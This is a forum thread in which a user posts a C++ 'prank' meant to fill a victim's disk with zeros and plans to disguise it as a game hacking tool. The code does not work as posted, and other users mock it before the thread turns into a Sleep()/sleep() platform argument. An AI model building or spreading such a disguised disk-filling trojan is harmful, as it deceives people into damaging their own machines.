cool prank

Pages: 12
closed account (36k1hbRD)
i made a cool denial of service prank. What it does is create a file write zero's to it and repeat using a loop.I will disguise it as a cod bo2 hacking tool. Here's the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
#include <fstream>
#include <string>

using namespace std;
int main();
{
   int x;
   long long y;
   x = 1;
   cout << "enter your gamertag: \n";
   cout << "patching account... ... ... \n";
   cout << "account has been patched! \n";
   ofstream fout;
   fout.open("Google_Crome.txt");
   for (y = 100000000; x > y; x++)
   {
      fout << "00000000000000000000000000000000000000\n";
   }
   fout.close();
   return 0;
}


Compile the Program in the Dowloads folder
A program which opens a file and immediately closes it. Very impressive.

Did you come up with that on your own?
closed account (Dy7SLyTq)
im stealing this and patenting it for my own. have i shown you guys my wumbo script?

1
2
3
4
5
6
7
8
9
10
11
#! /bin/bash

clear;
echo Turning wumbo on...;
sleep 20s; #It takes a while for wumbo to boot.
           #Wouldn't want to destroy the processor
set wumbo=on;
echo -n Wumbo is on;
./pause; #Basic C program I wrote to pause the program
	 #without a message
clear;
What is wumbo. Did you give me a virus? Anyway I have a better one:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python
from optparse import OptionParser
def requestAction():
    usage="enter access level and game to hack"
    (accessLevel,gameName)=OptionParser(usage).parse_args()
    print("Security team alerted. Logging your name and computer address.")
if __name__=='__main__':
    requestAction()
else:
    print("This module is classified")

Last edited on
closed account (Dy7SLyTq)
What is wumbo. Did you give me a virus?

that made me feel really sad
closed account (36k1hbRD)
im making a very realistic one that has a time delay so it looks like the program is doing something.
closed account (Dy7SLyTq)
i dont know man... thats really advanced code... i mean you would have to sleep()... and i guess thats about it
Sleep() is for only windows. You could also just use a for loop and do a bunch of pointless calculations to waste some time.
Last edited on
closed account (Dy7SLyTq)
what are you talking about? you can sleep() in any function
I meant Windows only I don't know why I said main.
closed account (Dy7SLyTq)
what are you talking about? you should just stop right now. i only develop on linux right now and had to just use the sleep function
Sleep and sleep are two different functions.
Thanks @Naraku933 I haven't used linux much only thought there was a Sleep(). Either way what I was trying to say was they are platform dependent. You don't have to be so rude DTSCode its not like you haven't had a typo.
closed account (Dy7SLyTq)
i wasnt being rude. you tried to tell me that you could only sleep in windows. if you didnt know you could, then you shouldnt say stuff like you can only do it in windows. thats the kind of shit fred pulls

edit: and if you were trying to say its platform dependent say that instead of
Sleep() is for only windows.
Last edited on
Sleep() is a WINDOWS only function. As naraku mentioned sleep() is for linux.

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686298(v=vs.85).aspx

I did not know there was sleep() for linux you don't have to flame me.

http://stackoverflow.com/questions/6134679/delaying-for-milliseconds-in-c-cross-platform

*fixed typo
Last edited on
We need to stop this now guys. We all know how this ends...
https://vimeo.com/76256858
closed account (Dy7SLyTq)
ok ok.., i guess its not that important anymore. Bring it in man!
closed account (36k1hbRD)
usleep = Linux
header is <unistd.h>

windows = Sleep
closed account (Dy7SLyTq)
There is also sleep. We are done discussing it. It was just a miscommunication
closed account (N36fSL3A)
thats the kind of shit fred pulls
What? I never assume something isn't on other platforms if it isn't on one.
Last edited on
Pages: 12